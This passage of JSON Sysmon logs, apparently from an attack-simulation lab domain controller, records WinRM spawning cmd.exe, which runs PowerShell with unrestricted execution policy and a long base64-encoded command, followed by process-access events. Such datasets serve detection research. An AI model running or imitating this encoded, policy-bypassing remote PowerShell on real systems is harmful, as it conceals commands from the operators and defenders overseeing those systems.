QBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-416D-5F2D-0000-001088000800}\r\nParentProcessId: 3776\r\nParentImage: C:\\Windows\\System32\\winrshost.exe\r\nParentCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.888","ProcessGuid":"{90617006-416D-5F2D-0000-001050030800}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-416D-5F2D-0000-001088000800}","ParentProcessId":"3776","ParentImage":"C:\\Windows\\System32\\winrshost.exe","ParentCommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5144,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001088000800}\r\nSourceProcessId: 3776\r\nSourceThreadId: 864\r\nSourceImage: C:\\Windows\\system32\\WinrsHost.exe\r\nTargetProcessGUID: {90617006-416D-5F2D-0000-001050030800}\r\nTargetProcessId: 3468\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\WinrsHost.exe+2c94|C:\\Windows\\system32\\WinrsHost.exe+2eb1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-416D-5F2D-0000-001088000800}","SourceProcessId":"3776","SourceThreadId":"864","SourceImage":"C:\\Windows\\system32\\WinrsHost.exe","TargetProcessGUID":"{90617006-416D-5F2D-0000-001050030800}","TargetProcessId":"3468","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\WinrsHost.exe+2c94|C:\\Windows\\system32\\WinrsHost.exe+2eb1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5145,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-416D-5F2D-0000-001050030800}\r\nTargetProcessId: 3468\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-416D-5F2D-0000-001050030800}","TargetProcessId":"3468","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5146,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5147,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5148,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5149,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5150,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 